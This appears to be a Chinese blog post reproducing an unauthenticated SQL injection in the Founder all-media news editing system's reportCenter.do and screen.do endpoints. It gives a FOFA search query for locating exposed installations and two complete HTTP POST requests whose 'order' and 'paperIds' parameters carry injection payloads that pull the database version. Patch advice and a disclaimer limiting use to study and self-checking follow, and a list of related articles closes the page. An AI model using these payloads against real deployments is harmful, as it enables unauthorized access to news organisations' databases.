【漏洞复现】|方正畅享全媒体新闻采编系统reportCenter.do/screen.do存在SQL注入

漏洞描述

方正畅享全媒体新闻采编系统reportCenter.do存在SQL注入漏洞,未经身份验证的恶意攻击者利用SQL注入漏洞获取数据库中信息。

资产概要

复制代码
app="FOUNDER-全媒体采编系统"

漏洞复现

复制代码
POST /newsedit/report/reportCenter.do HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Connection: close

type=paperLayoutList&paperDate=2023-1-1&token=1&pageNo=1&pageSize=1&order=x' THEN 5 ELSE 5 END) AS status from (select '1x' as SYS_CURRENTSTATUS) d) tmp where cast(@@version as int)=5-- a
复制代码
POST /newsedit/newsplan/screen.do HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Connection: close

method=getPaperLayoutList&pageNo=1&pageSize=5&paperDate=2022-11-30&paperIds=123+AND+2675+in+(select+@@version)&terminalType=123

修复建议

复制代码
1、关注厂商升级至安全版本;http://www.founder.com.cn/
2、及时联系官方获取更新补丁

免责声明

本文分享的漏洞POC及相关技术仅限学习和自查用途,请勿用于非法测试或其他不当行为。传播或利用本文及相关工具所导致的任何直接或间接后果,包括法律责任和不良影响,均由使用者自行承担,文章作者概不负责。如内容涉及侵权问题,请及时联系,作者将迅速处理并致以歉意。此外,工具来源于网络,安全性需用户自行验证。感谢您的理解与支持!

相关推荐
我最厉害。,。6 分钟前
-PHP 应用&SQL 二次注入&堆叠执行&DNS 带外&功能点&黑白盒条件
开发语言·sql·php
SeaTunnel37 分钟前
Apache SeaTunnel同步MySQL到Doris的优化策略
数据库·mysql·postgresql·apache
love729234ming1 小时前
MySQL Explain 分析 SQL 执行计划
数据库·sql·mysql
wxhxmj1 小时前
数据库----单表、多表
数据库·oracle
echola_mendes2 小时前
LangChain 结构化输出:用 Pydantic + PydanticOutputParser 驯服 LLM 的“自由发挥”
服务器·前端·数据库·ai·langchain
nlog3n2 小时前
MySQL 常见面试问题总结
java·数据库·mysql·面试
碧海饮冰2 小时前
MongoDB 与 Elasticsearch 使用场景区别及示例
数据库·mongodb·elasticsearch
搬码红绿灯3 小时前
数据库——MySQL字符、日期函数
数据库·mysql
Tyler先森3 小时前
Oracle数据库数据编程SQL<2.2 DDL 视图、序列>
数据库·sql·oracle
Neolock3 小时前
Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927) 复现利用与原理分析
网络·web安全·中间件·cve·next.js